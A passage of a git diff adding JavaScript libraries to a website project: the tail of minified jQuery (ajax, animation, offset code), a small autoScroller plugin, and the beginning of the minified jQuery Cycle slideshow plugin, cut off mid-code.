B(){if(x){return}x=true;if(document.addEventListener){document.addEventListener("DOMContentLoaded",function(){document.removeEventListener("DOMContentLoaded",arguments.callee,false);o.ready()},false)}else{if(document.attachEvent){document.attachEvent("onreadystatechange",function(){if(document.readyState==="complete"){document.detachEvent("onreadystatechange",arguments.callee);o.ready()}});if(document.documentElement.doScroll&&l==l.top){(function(){if(o.isReady){return}try{document.documentElement.doScroll("left")}catch(E){setTimeout(arguments.callee,0);return}o.ready()})()}}}o.event.add(l,"load",o.ready)}o.each(("blur,focus,load,resize,scroll,unload,click,dblclick,mousedown,mouseup,mousemove,mouseover,mouseout,mouseenter,mouseleave,change,select,submit,keydown,keypress,keyup,error").split(","),function(F,E){o.fn[E]=function(G){return G?this.bind(E,G):this.trigger(E)}});o(l).bind("unload",function(){for(var E in o.cache){if(E!=1&&o.cache[E].handle){o.event.remove(o.cache[E].handle.elem)}}});(function(){o.support={};var F=document.documentElement,G=document.createElement("script"),K=document.createElement("div"),J="script"+(new Date).getTime();K.style.display="none";K.innerHTML='   <link/><table></table><a href="/a" style="color:red;float:left;opacity:.5;">a</a><select><option>text</option></select><object><param/></object>';var H=K.getElementsByTagName("*"),E=K.getElementsByTagName("a")[0];if(!H||!H.length||!E){return}o.support={leadingWhitespace:K.firstChild.nodeType==3,tbody:!K.getElementsByTagName("tbody").length,objectAll:!!K.getElementsByTagName("object")[0].getElementsByTagName("*").length,htmlSerialize:!!K.getElementsByTagName("link").length,style:/red/.test(E.getAttribute("style")),hrefNormalized:E.getAttribute("href")==="/a",opacity:E.style.opacity==="0.5",cssFloat:!!E.style.cssFloat,scriptEval:false,noCloneEvent:true,boxModel:null};G.type="text/javascript";try{G.appendChild(document.createTextNode("window."+J+"=1;"))}catch(I){}F.insertBefore(G,F.firstChild);if(l[J]){o.support.scriptEval=true;delete l[J]}F.removeChild(G);if(K.attachEvent&&K.fireEvent){K.attachEvent("onclick",function(){o.support.noCloneEvent=false;K.detachEvent("onclick",arguments.callee)});K.cloneNode(true).fireEvent("onclick")}o(function(){var L=document.createElement("div");L.style.width=L.style.paddingLeft="1px";document.body.appendChild(L);o.boxModel=o.support.boxModel=L.offsetWidth===2;document.body.removeChild(L).style.display="none"})})();var w=o.support.cssFloat?"cssFloat":"styleFloat";o.props={"for":"htmlFor","class":"className","float":w,cssFloat:w,styleFloat:w,readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",tabindex:"tabIndex"};o.fn.extend({_load:o.fn.load,load:function(G,J,K){if(typeof G!=="string"){return this._load(G)}var I=G.indexOf(" ");if(I>=0){var E=G.slice(I,G.length);G=G.slice(0,I)}var H="GET";if(J){if(o.isFunction(J)){K=J;J=null}else{if(typeof J==="object"){J=o.param(J);H="POST"}}}var F=this;o.ajax({url:G,type:H,dataType:"html",data:J,complete:function(M,L){if(L=="success"||L=="notmodified"){F.html(E?o("<div/>").append(M.responseText.replace(/<script(.|\s)*?\/script>/g,"")).find(E):M.responseText)}if(K){F.each(K,[M.responseText,L,M])}}});return this},serialize:function(){return o.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?o.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||/select|textarea/i.test(this.nodeName)||/text|hidden|password|search/i.test(this.type))}).map(function(E,F){var G=o(this).val();return G==null?null:o.isArray(G)?o.map(G,function(I,H){return{name:F.name,value:I}}):{name:F.name,value:G}}).get()}});o.each("ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","),function(E,F){o.fn[F]=function(G){return this.bind(F,G)}});var r=e();o.extend({get:function(E,G,H,F){if(o.isFunction(G)){H=G;G=null}return o.ajax({type:"GET",url:E,data:G,success:H,dataType:F})},getScript:function(E,F){return o.get(E,null,F,"script")},getJSON:function(E,F,G){return o.get(E,F,G,"json")},post:function(E,G,H,F){if(o.isFunction(G)){H=G;G={}}return o.ajax({type:"POST",url:E,data:G,success:H,dataType:F})},ajaxSetup:function(E){o.extend(o.ajaxSettings,E)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:function(){return l.ActiveXObject?new ActiveXObject("Microsoft.XMLHTTP"):new XMLHttpRequest()},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},ajax:function(M){M=o.extend(true,M,o.extend(true,{},o.ajaxSettings,M));var W,F=/=\?(&|$)/g,R,V,G=M.type.toUpperCase();if(M.data&&M.processData&&typeof M.data!=="string"){M.data=o.param(M.data)}if(M.dataType=="jsonp"){if(G=="GET"){if(!M.url.match(F)){M.url+=(M.url.match(/\?/)?"&":"?")+(M.jsonp||"callback")+"=?"}}else{if(!M.data||!M.data.match(F)){M.data=(M.data?M.data+"&":"")+(M.jsonp||"callback")+"=?"}}M.dataType="json"}if(M.dataType=="json"&&(M.data&&M.data.match(F)||M.url.match(F))){W="jsonp"+r++;if(M.data){M.data=(M.data+"").replace(F,"="+W+"$1")}M.url=M.url.replace(F,"="+W+"$1");M.dataType="script";l[W]=function(X){V=X;I();L();l[W]=g;try{delete l[W]}catch(Y){}if(H){H.removeChild(T)}}}if(M.dataType=="script"&&M.cache==null){M.cache=false}if(M.cache===false&&G=="GET"){var E=e();var U=M.url.replace(/(\?|&)_=.*?(&|$)/,"$1_="+E+"$2");M.url=U+((U==M.url)?(M.url.match(/\?/)?"&":"?")+"_="+E:"")}if(M.data&&G=="GET"){M.url+=(M.url.match(/\?/)?"&":"?")+M.data;M.data=null}if(M.global&&!o.active++){o.event.trigger("ajaxStart")}var Q=/^(\w+:)?\/\/([^\/?#]+)/.exec(M.url);if(M.dataType=="script"&&G=="GET"&&Q&&(Q[1]&&Q[1]!=location.protocol||Q[2]!=location.host)){var H=document.getElementsByTagName("head")[0];var T=document.createElement("script");T.src=M.url;if(M.scriptCharset){T.charset=M.scriptCharset}if(!W){var O=false;T.onload=T.onreadystatechange=function(){if(!O&&(!this.readyState||this.readyState=="loaded"||this.readyState=="complete")){O=true;I();L();T.onload=T.onreadystatechange=null;H.removeChild(T)}}}H.appendChild(T);return g}var K=false;var J=M.xhr();if(M.username){J.open(G,M.url,M.async,M.username,M.password)}else{J.open(G,M.url,M.async)}try{if(M.data){J.setRequestHeader("Content-Type",M.contentType)}if(M.ifModified){J.setRequestHeader("If-Modified-Since",o.lastModified[M.url]||"Thu, 01 Jan 1970 00:00:00 GMT")}J.setRequestHeader("X-Requested-With","XMLHttpRequest");J.setRequestHeader("Accept",M.dataType&&M.accepts[M.dataType]?M.accepts[M.dataType]+", */*":M.accepts._default)}catch(S){}if(M.beforeSend&&M.beforeSend(J,M)===false){if(M.global&&!--o.active){o.event.trigger("ajaxStop")}J.abort();return false}if(M.global){o.event.trigger("ajaxSend",[J,M])}var N=function(X){if(J.readyState==0){if(P){clearInterval(P);P=null;if(M.global&&!--o.active){o.event.trigger("ajaxStop")}}}else{if(!K&&J&&(J.readyState==4||X=="timeout")){K=true;if(P){clearInterval(P);P=null}R=X=="timeout"?"timeout":!o.httpSuccess(J)?"error":M.ifModified&&o.httpNotModified(J,M.url)?"notmodified":"success";if(R=="success"){try{V=o.httpData(J,M.dataType,M)}catch(Z){R="parsererror"}}if(R=="success"){var Y;try{Y=J.getResponseHeader("Last-Modified")}catch(Z){}if(M.ifModified&&Y){o.lastModified[M.url]=Y}if(!W){I()}}else{o.handleError(M,J,R)}L();if(X){J.abort()}if(M.async){J=null}}}};if(M.async){var P=setInterval(N,13);if(M.timeout>0){setTimeout(function(){if(J&&!K){N("timeout")}},M.timeout)}}try{J.send(M.data)}catch(S){o.handleError(M,J,null,S)}if(!M.async){N()}function I(){if(M.success){M.success(V,R)}if(M.global){o.event.trigger("ajaxSuccess",[J,M])}}function L(){if(M.complete){M.complete(J,R)}if(M.global){o.event.trigger("ajaxComplete",[J,M])}if(M.global&&!--o.active){o.event.trigger("ajaxStop")}}return J},handleError:function(F,H,E,G){if(F.error){F.error(H,E,G)}if(F.global){o.event.trigger("ajaxError",[H,F,G])}},active:0,httpSuccess:function(F){try{return !F.status&&location.protocol=="file:"||(F.status>=200&&F.status<300)||F.status==304||F.status==1223}catch(E){}return false},httpNotModified:function(G,E){try{var H=G.getResponseHeader("Last-Modified");return G.status==304||H==o.lastModified[E]}catch(F){}return false},httpData:function(J,H,G){var F=J.getResponseHeader("content-type"),E=H=="xml"||!H&&F&&F.indexOf("xml")>=0,I=E?J.responseXML:J.responseText;if(E&&I.documentElement.tagName=="parsererror"){throw"parsererror"}if(G&&G.dataFilter){I=G.dataFilter(I,H)}if(typeof I==="string"){if(H=="script"){o.globalEval(I)}if(H=="json"){I=l["eval"]("("+I+")")}}return I},param:function(E){var G=[];function H(I,J){G[G.length]=encodeURIComponent(I)+"="+encodeURIComponent(J)}if(o.isArray(E)||E.jquery){o.each(E,function(){H(this.name,this.value)})}else{for(var F in E){if(o.isArray(E[F])){o.each(E[F],function(){H(F,this)})}else{H(F,o.isFunction(E[F])?E[F]():E[F])}}}return G.join("&").replace(/%20/g,"+")}});var m={},n,d=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];function t(F,E){var G={};o.each(d.concat.apply([],d.slice(0,E)),function(){G[this]=F});return G}o.fn.extend({show:function(J,L){if(J){return this.animate(t("show",3),J,L)}else{for(var H=0,F=this.length;H<F;H++){var E=o.data(this[H],"olddisplay");this[H].style.display=E||"";if(o.css(this[H],"display")==="none"){var G=this[H].tagName,K;if(m[G]){K=m[G]}else{var I=o("<"+G+" />").appendTo("body");K=I.css("display");if(K==="none"){K="block"}I.remove();m[G]=K}o.data(this[H],"olddisplay",K)}}for(var H=0,F=this.length;H<F;H++){this[H].style.display=o.data(this[H],"olddisplay")||""}return this}},hide:function(H,I){if(H){return this.animate(t("hide",3),H,I)}else{for(var G=0,F=this.length;G<F;G++){var E=o.data(this[G],"olddisplay");if(!E&&E!=="none"){o.data(this[G],"olddisplay",o.css(this[G],"display"))}}for(var G=0,F=this.length;G<F;G++){this[G].style.display="none"}return this}},_toggle:o.fn.toggle,toggle:function(G,F){var E=typeof G==="boolean";return o.isFunction(G)&&o.isFunction(F)?this._toggle.apply(this,arguments):G==null||E?this.each(function(){var H=E?G:o(this).is(":hidden");o(this)[H?"show":"hide"]()}):this.animate(t("toggle",3),G,F)},fadeTo:function(E,G,F){return this.animate({opacity:G},E,F)},animate:function(I,F,H,G){var E=o.speed(F,H,G);return this[E.queue===false?"each":"queue"](function(){var K=o.extend({},E),M,L=this.nodeType==1&&o(this).is(":hidden"),J=this;for(M in I){if(I[M]=="hide"&&L||I[M]=="show"&&!L){return K.complete.call(this)}if((M=="height"||M=="width")&&this.style){K.display=o.css(this,"display");K.overflow=this.style.overflow}}if(K.overflow!=null){this.style.overflow="hidden"}K.curAnim=o.extend({},I);o.each(I,function(O,S){var R=new o.fx(J,K,O);if(/toggle|show|hide/.test(S)){R[S=="toggle"?L?"show":"hide":S](I)}else{var Q=S.toString().match(/^([+-]=)?([\d+-.]+)(.*)$/),T=R.cur(true)||0;if(Q){var N=parseFloat(Q[2]),P=Q[3]||"px";if(P!="px"){J.style[O]=(N||1)+P;T=((N||1)/R.cur(true))*T;J.style[O]=T+P}if(Q[1]){N=((Q[1]=="-="?-1:1)*N)+T}R.custom(T,N,P)}else{R.custom(T,S,"")}}});return true})},stop:function(F,E){var G=o.timers;if(F){this.queue([])}this.each(function(){for(var H=G.length-1;H>=0;H--){if(G[H].elem==this){if(E){G[H](true)}G.splice(H,1)}}});if(!E){this.dequeue()}return this}});o.each({slideDown:t("show",1),slideUp:t("hide",1),slideToggle:t("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(E,F){o.fn[E]=function(G,H){return this.animate(F,G,H)}});o.extend({speed:function(G,H,F){var E=typeof G==="object"?G:{complete:F||!F&&H||o.isFunction(G)&&G,duration:G,easing:F&&H||H&&!o.isFunction(H)&&H};E.duration=o.fx.off?0:typeof E.duration==="number"?E.duration:o.fx.speeds[E.duration]||o.fx.speeds._default;E.old=E.complete;E.complete=function(){if(E.queue!==false){o(this).dequeue()}if(o.isFunction(E.old)){E.old.call(this)}};return E},easing:{linear:function(G,H,E,F){return E+F*G},swing:function(G,H,E,F){return((-Math.cos(G*Math.PI)/2)+0.5)*F+E}},timers:[],fx:function(F,E,G){this.options=E;this.elem=F;this.prop=G;if(!E.orig){E.orig={}}}});o.fx.prototype={update:function(){if(this.options.step){this.options.step.call(this.elem,this.now,this)}(o.fx.step[this.prop]||o.fx.step._default)(this);if((this.prop=="height"||this.prop=="width")&&this.elem.style){this.elem.style.display="block"}},cur:function(F){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null)){return this.elem[this.prop]}var E=parseFloat(o.css(this.elem,this.prop,F));return E&&E>-10000?E:parseFloat(o.curCSS(this.elem,this.prop))||0},custom:function(I,H,G){this.startTime=e();this.start=I;this.end=H;this.unit=G||this.unit||"px";this.now=this.start;this.pos=this.state=0;var E=this;function F(J){return E.step(J)}F.elem=this.elem;if(F()&&o.timers.push(F)&&!n){n=setInterval(function(){var K=o.timers;for(var J=0;J<K.length;J++){if(!K[J]()){K.splice(J--,1)}}if(!K.length){clearInterval(n);n=g}},13)}},show:function(){this.options.orig[this.prop]=o.attr(this.elem.style,this.prop);this.options.show=true;this.custom(this.prop=="width"||this.prop=="height"?1:0,this.cur());o(this.elem).show()},hide:function(){this.options.orig[this.prop]=o.attr(this.elem.style,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(H){var G=e();if(H||G>=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;var E=true;for(var F in this.options.curAnim){if(this.options.curAnim[F]!==true){E=false}}if(E){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;this.elem.style.display=this.options.display;if(o.css(this.elem,"display")=="none"){this.elem.style.display="block"}}if(this.options.hide){o(this.elem).hide()}if(this.options.hide||this.options.show){for(var I in this.options.curAnim){o.attr(this.elem.style,I,this.options.orig[I])}}this.options.complete.call(this.elem)}return false}else{var J=G-this.startTime;this.state=J/this.options.duration;this.pos=o.easing[this.options.easing||(o.easing.swing?"swing":"linear")](this.state,J,0,1,this.options.duration);this.now=this.start+((this.end-this.start)*this.pos);this.update()}return true}};o.extend(o.fx,{speeds:{slow:600,fast:200,_default:400},step:{opacity:function(E){o.attr(E.elem.style,"opacity",E.now)},_default:function(E){if(E.elem.style&&E.elem.style[E.prop]!=null){E.elem.style[E.prop]=E.now+E.unit}else{E.elem[E.prop]=E.now}}}});if(document.documentElement.getBoundingClientRect){o.fn.offset=function(){if(!this[0]){return{top:0,left:0}}if(this[0]===this[0].ownerDocument.body){return o.offset.bodyOffset(this[0])}var G=this[0].getBoundingClientRect(),J=this[0].ownerDocument,F=J.body,E=J.documentElement,L=E.clientTop||F.clientTop||0,K=E.clientLeft||F.clientLeft||0,I=G.top+(self.pageYOffset||o.boxModel&&E.scrollTop||F.scrollTop)-L,H=G.left+(self.pageXOffset||o.boxModel&&E.scrollLeft||F.scrollLeft)-K;return{top:I,left:H}}}else{o.fn.offset=function(){if(!this[0]){return{top:0,left:0}}if(this[0]===this[0].ownerDocument.body){return o.offset.bodyOffset(this[0])}o.offset.initialized||o.offset.initialize();var J=this[0],G=J.offsetParent,F=J,O=J.ownerDocument,M,H=O.documentElement,K=O.body,L=O.defaultView,E=L.getComputedStyle(J,null),N=J.offsetTop,I=J.offsetLeft;while((J=J.parentNode)&&J!==K&&J!==H){M=L.getComputedStyle(J,null);N-=J.scrollTop,I-=J.scrollLeft;if(J===G){N+=J.offsetTop,I+=J.offsetLeft;if(o.offset.doesNotAddBorder&&!(o.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(J.tagName))){N+=parseInt(M.borderTopWidth,10)||0,I+=parseInt(M.borderLeftWidth,10)||0}F=G,G=J.offsetParent}if(o.offset.subtractsBorderForOverflowNotVisible&&M.overflow!=="visible"){N+=parseInt(M.borderTopWidth,10)||0,I+=parseInt(M.borderLeftWidth,10)||0}E=M}if(E.position==="relative"||E.position==="static"){N+=K.offsetTop,I+=K.offsetLeft}if(E.position==="fixed"){N+=Math.max(H.scrollTop,K.scrollTop),I+=Math.max(H.scrollLeft,K.scrollLeft)}return{top:N,left:I}}}o.offset={initialize:function(){if(this.initialized){return}var L=document.body,F=document.createElement("div"),H,G,N,I,M,E,J=L.style.marginTop,K='<div style="position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;"><div></div></div><table style="position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;" cellpadding="0" cellspacing="0"><tr><td></td></tr></table>';M={position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"};for(E in M){F.style[E]=M[E]}F.innerHTML=K;L.insertBefore(F,L.firstChild);H=F.firstChild,G=H.firstChild,I=H.nextSibling.firstChild.firstChild;this.doesNotAddBorder=(G.offsetTop!==5);this.doesAddBorderForTableAndCells=(I.offsetTop===5);H.style.overflow="hidden",H.style.position="relative";this.subtractsBorderForOverflowNotVisible=(G.offsetTop===-5);L.style.marginTop="1px";this.doesNotIncludeMarginInBodyOffset=(L.offsetTop===0);L.style.marginTop=J;L.removeChild(F);this.initialized=true},bodyOffset:function(E){o.offset.initialized||o.offset.initialize();var G=E.offsetTop,F=E.offsetLeft;if(o.offset.doesNotIncludeMarginInBodyOffset){G+=parseInt(o.curCSS(E,"marginTop",true),10)||0,F+=parseInt(o.curCSS(E,"marginLeft",true),10)||0}return{top:G,left:F}}};o.fn.extend({position:function(){var I=0,H=0,F;if(this[0]){var G=this.offsetParent(),J=this.offset(),E=/^body|html$/i.test(G[0].tagName)?{top:0,left:0}:G.offset();J.top-=j(this,"marginTop");J.left-=j(this,"marginLeft");E.top+=j(G,"borderTopWidth");E.left+=j(G,"borderLeftWidth");F={top:J.top-E.top,left:J.left-E.left}}return F},offsetParent:function(){var E=this[0].offsetParent||document.body;while(E&&(!/^body|html$/i.test(E.tagName)&&o.css(E,"position")=="static")){E=E.offsetParent}return o(E)}});o.each(["Left","Top"],function(F,E){var G="scroll"+E;o.fn[G]=function(H){if(!this[0]){return null}return H!==g?this.each(function(){this==l||this==document?l.scrollTo(!F?H:o(l).scrollLeft(),F?H:o(l).scrollTop()):this[G]=H}):this[0]==l||this[0]==document?self[F?"pageYOffset":"pageXOffset"]||o.boxModel&&document.documentElement[G]||document.body[G]:this[0][G]}});o.each(["Height","Width"],function(I,G){var E=I?"Left":"Top",H=I?"Right":"Bottom",F=G.toLowerCase();o.fn["inner"+G]=function(){return this[0]?o.css(this[0],F,false,"padding"):null};o.fn["outer"+G]=function(K){return this[0]?o.css(this[0],F,false,K?"margin":"border"):null};var J=G.toLowerCase();o.fn[J]=function(K){return this[0]==l?document.compatMode=="CSS1Compat"&&document.documentElement["client"+G]||document.body["client"+G]:this[0]==document?Math.max(document.documentElement["client"+G],document.body["scroll"+G],document.documentElement["scroll"+G],document.body["offset"+G],document.documentElement["offset"+G]):K===g?(this.length?o.css(this[0],J):null):this.css(J,typeof K==="string"?K:K+"px")}})})();
\ No newline at end of file
diff --git a/libjs/jquery.autoScroller.js b/libjs/jquery.autoScroller.js
new file mode 100644 (file)
index 0000000..5589604
--- /dev/null
@@ -0,0 +1,43 @@
+function autoScroller(contentDiv, speed)
+{
+    contentDiv = "#"+contentDiv;
+    var scrollSpeed = (speed==null) ? 5 : parseInt(speed);
+    
+    // double make sure the autoScroller-container has the correct css position and overflow property
+    $(contentDiv).parent().css({position:'relative',overflow:'hidden'});
+    
+    // set contentDiv style
+    $(contentDiv).css({position:'absolute',top:0});
+    // get contentDiv height
+    contentDivHeight = $(contentDiv).height();
+    
+   // call periodical
+   $(contentDiv).everyTime(100, function(i){
+        if (parseInt($(this).css('top'))>(contentDivHeight*(-1)+8))
+        {
+            // move scroller upwards
+            offset = parseInt($(this).css('top'))-scrollSpeed+"px";
+            $(this).css({'top':offset});
+        }
+        // reset to original position
+        else
+        {
+            // reset to original position
+            offset = parseInt($(this).parent().height())+8+"px";
+            $(this).css({'top':offset});
+        }
+    });
+    
+    // on mouse over event, pause the scroller
+    $(contentDiv).mouseover(function ()
+    {
+        speed = scrollSpeed;
+        scrollSpeed = 0;       
+    });
+    
+    // on mouse out event, start the scroller
+    $(contentDiv).mouseout(function ()
+    {
+        scrollSpeed = speed;
+    });
+}
\ No newline at end of file
diff --git a/libjs/jquery.cycle.all.min.js b/libjs/jquery.cycle.all.min.js
new file mode 100755 (executable)
index 0000000..f24a74d
--- /dev/null
@@ -0,0 +1,27 @@
+/*
+ * jQuery Cycle Plugin (with Transition Definitions)
+ * Examples and documentation at: http://jquery.malsup.com/cycle/
+ * Copyright (c) 2007-2009 M. Alsup
+ * Version: 2.72 (09-SEP-2009)
+ * Dual licensed under the MIT and GPL licenses:
+ * http://www.opensource.org/licenses/mit-license.php
+ * http://www.gnu.org/licenses/gpl.html
+ * Requires: jQuery v1.2.6 or later
+ *
+ * Originally based on the work of:
+ *     1) Matt Oakes
+ *     2) Torsten Baldes (http://medienfreunde.com/lab/innerfade/)
+ *     3) Benjamin Sterling (http://www.benjaminsterling.com/experiments/jqShuffle/)
+ */
+(function($){var ver="2.72";if($.support==undefined){$.support={opacity:!($.browser.msie)};}function debug(s){if($.fn.cycle.debug){log(s);}}function log(){if(window.console&&window.console.log){window.console.log("[cycle] "+Array.prototype.join.call(arguments," "));}}$.fn.cycle=function(options,arg2){var o={s:this.selector,c:this.context};if(this.length===0&&options!="stop"){if(!$.isReady&&o.s){log("DOM not ready, queuing slideshow");$(function(){$(o.s,o.c).cycle(options,arg2);});return this;}log("terminating; zero elements found by selector"+($.isReady?"":" (DOM not ready)"));return this;}return this.each(function(){var opts=handleArguments(this,options,arg2);if(opts===false){return;}if(this.cycleTimeout){clearTimeout(this.cycleTimeout);}this.cycleTimeout=this.cyclePause=0;var $cont=$(this);var $slides=opts.slideExpr?$(opts.slideExpr,this):$cont.children();var els=$slides.get();if(els.length<2){log("terminating; too few slides: "+els.length);return;}var opts2=buildOptions($cont,$slides,els,opts,o);if(opts2===false){return;}var startTime=opts2.continuous?10:getTimeout(opts2.currSlide,opts2.nextSlide,opts2,!opts2.rev);if(startTime){startTime+=(opts2.delay||0);if(startTime<10){startTime=10;}debug("first timeout: "+startTime);this.cycleTimeout=setTimeout(function(){go(els,opts2,0,!opts2.rev);},startTime);}});};function handleArguments(cont,options,arg2){if(cont.cycleStop==undefined){cont.cycleStop=0;}if(options===undefined||options===null){options={};}if(options.constructor==String){switch(options){case"stop":cont.cycleStop++;if(cont.cycleTimeout){clearTimeout(cont.cycleTimeout);}cont.cycleTimeout=0;$(cont).removeData("cycle.opts");return false;case"pause":cont.cyclePause=1;return false;case"resume":cont.cyclePause=0;if(arg2===true){options=$(cont).data("cycle.opts");if(!options){log("options not found, can not resume");return false;}if(cont.cycleTimeout){clearTimeout(cont.cycleTimeout);cont.cycleTimeout=0;}go(options.elements,options,1,1);}return false;case"prev":case"next":var opts=$(cont).data("cycle.opts");if(!opts){log('options not found, "prev/next" ignored');return false;}$.fn.cycle[options](opts);return false;default:options={fx:options};}return options;}else{if(options.constructor==Number){var num=options;options=$(cont).data("cycle.opts");if(!options){log("options not found, can not advance slide");return false;}if(num<0||num>=options.elements.length){log("invalid slide index: "+num);return false;}options.nextSlide=num;if(cont.cycleTimeout){clearTimeout(cont.cycleTimeout);cont.cycleTimeout=0;}if(typeof arg2=="string"){options.oneTimeFx=arg2;}go(options.elements,options,1,num>=options.currSlide);return false;}}return options;}function removeFilter(el,opts){if(!$.support.opacity&&opts.cleartype&&el.style.filter){try{el.style.removeAttribute("filter");}catch(smother){}}}function buildOptions($cont,$slides,els,options,o){var opts=$.extend({},$.fn.cycle.defaults,options||{},$.metadata?$cont.metadata():$.meta?$cont.data():{});if(opts.autostop){opts.countdown=opts.autostopCount||els.length;}var cont=$cont[0];$cont.data("cycle.opts",opts);opts.$cont=$cont;opts.stopCount=cont.cycleStop;opts.elements=els;opts.before=opts.before?[opts.before]:[];opts.after=opts.after?[opts.after]:[];opts.after.unshift(function(){opts.busy=0;});if(!$.support.opacity&&opts.cleartype){opts.after.push(function(){removeFilter(this,opts);});}if(opts.continuous){opts.after.push(function(){go(els,opts,0,!opts.rev);});}saveOriginalOpts(opts);if(!$.support.opacity&&opts.cleartype&&!opts.cleartypeNoBg){clearTypeFix($slides);}if($cont.css("position")=="static"){$cont.css("position","relative");}if(opts.width){$cont.width(opts.width);}if(opts.height&&opts.height!="auto"){$cont.height(opts.height);}if(opts.startingSlide){opts.startingSlide=parseInt(opts.startingSlide);}if(opts.random){opts.randomMap=[];for(var i=0;i<els.length;i++){opts.randomMap.push(i);}opts.randomMap.sort(function(a,b){return Math.random()-0.5;});opts.randomIndex=0;opts.startingSlide=opts.randomMap[0];}else{if(opts.startingSlide>=els.length){opts.startingSlide=0;}}opts.currSlide=opts.startingSlide=opts.startingSlide||0;var first=opts.startingSlide;$slides.css({position:"absolute",top:0,left:0}).hide().each(function(i){var z=first?i>=first?els.length-(i-first):first-i:els.length-i;$(this).css("z-index",z);});$(els[first]).css("opacity",1).show();removeFilter(els[first],opts);if(opts.fit&&opts.width){$slides.width(opts.width);}if(opts.fit&&opts.height&&opts.height!="auto"){$slides.height(opts.height);}var reshape=opts.containerResize&&!$cont.innerHeight();if(reshape){var maxw=0,maxh=0;for(var j=0;j<els.length;j++){var $e=$(els[j]),e=$e[0],w=$e.outerWidth(),h=$e.outerHeight();if(!w){w=e.offsetWidth;}if(!h){h=e.offsetHeight;}maxw=w>maxw?w:maxw;maxh=h>maxh?h:maxh;}if(maxw>0&&maxh>0){$cont.css({width:maxw+"px",height:maxh+"px"});}}if(opts.pause){$cont.hover(function(){this.cyclePause++;},function(){this.cyclePause--;});}if(supportMultiTransitions(opts)===false){return false;}var requeue=false;options.requeueAttempts=options.requeueAttempts||0;$slides.each(function(){var $el=$(this);this.cycleH=(opts.fit&&opts.height)?opts.height:$el.height();this.cycleW=(opts.fit&&opts.width)?opts.width:$el.width();if($el.is("img")){var loadingIE=($.browser.msie&&this.cycleW==28&&this.cycleH==30&&!this.complete);var loadingFF=($.browser.mozilla&&this.cycleW==34&&this.cycleH==19&&!this.complete);var loadingOp=($.browser.opera&&((this.cycleW==42&&this.cycleH==19)||(this.cycleW==37&&this.cycleH==17))&&!this.complete);var loadingOther=(this.cycleH==0&&this.cycleW==0&&!this.complete);if(loadingIE||loadingFF||loadingOp||loadingOther){if(o.s&&opts.requeueOnImageNotLoaded&&++options.requeueAttempts<100){log(options.requeueAttempts," - img slide not loaded, requeuing slideshow: ",this.src,this.cycleW,this.cycleH);setTimeout(function(){$(o.s,o.c).cycle(options);},opts.requeueTimeout);requeue=true;return false;}else{log("could not determine size of image: "+this.src,this.cycleW,this.cycleH);}}}return true;});if(requeue){return false;}opts.cssBefore=opts.cssBefore||{};opts.animIn=opts.animIn||{};opts.animOut=opts.animOut||{};$slides.not(":eq("+first+")").css(opts.cssBefore);if(opts.cssFirst){$($slides[first]).css(opts.cssFirst);}if(opts.timeout){opts.timeout=parseInt(opts.timeout);if(opts.speed.constructor==String){opts.speed=$.fx.speeds[opts.speed]||parseInt(opts.speed);}if(!opts.sync){opts.speed=opts.speed/2;}while((opts.timeout-opts.speed)<250){opts.timeout+=opts.speed;}}if(opts.easing){opts.easeIn=opts.easeOut=opts.easing;}if(!opts.speedIn){opts.speedIn=opts.speed;}if(!opts.speedOut){opts.speedOut=opts.speed;}opts.slideCount=els.length;opts.currSlide=opts.lastSlide=first;if(opts.random){opts.nextSlide=opts.currSlide;if(++opts.randomIndex==els.length){opts.randomIndex=0;}opts.nextSlide=opts.randomMap[opts.randomIndex];}else{opts.nextSlide=opts.startingSlide>=(els.length-1)?0:opts.startingSlide+1;}if(!opts.multiFx){var init=$.fn.cycle.transitions[opts.fx];if($.isFunction(init)){init($cont,$slides,opts);}else{if(opts.fx!="custom"&&!opts.multiFx){log("unknown transition: "+opts.fx,"; slideshow terminating");return false;}}}var e0=$slides[first];if(opts.before.length){opts.before[0].apply(e0,[e0,e0,opts,true]);}if(opts.after.length>1){opts.after[1].apply(e0,[e0,e0,opts,true]);}if(opts.next){$(opts.next).bind(opts.prevNextEvent,function(){return advance(opts,opts.rev?-1:1);});}if(opts.prev){$(opts.prev).bind(opts.prevNextEvent,function(){return advance(opts,opts.rev?1:-1);});}if(opts.pager){buildPager(els,opts);}exposeAddSlide(opts,els);return opts;}function saveOriginalOpts(opts){opts.original={before:[],after:[]};opts.original.cssBefore=$.extend({},opts.cssBefore);opts.original.cssAfter=$.extend({},opts.cssAfter);opts.original.animIn=$.extend({},opts.animIn);opts.original.animOut=$.extend({},opts.animOut);$.each(opts.before,function(){opts.original.before.push(this);});$.each(opts.after,function(){opts.original.after.push(this);});}function supportMultiTransitions(opts){var i,tx,txs=$.fn.cycle.transitions;if(opts.fx.indexOf(",")>0){opts.multiFx=true;opts.fxs=opts.fx.replace(/\s*/g,"").split(",");for(i=0;i<opts.fxs.length;i++){var fx=opts.fxs[i];tx=txs[fx];if(!tx||!txs.hasOwnProperty(fx)||!$.isFunction(tx)){log("discarding unknown transition: ",fx);opts.fxs.splice(i,1);i--;}}if(!opts.fxs.length){log("No valid transitions named; slideshow terminating.");return false;}}else{if(opts.fx=="all"){opts.multiFx=true;opts.fxs=[];for(p in 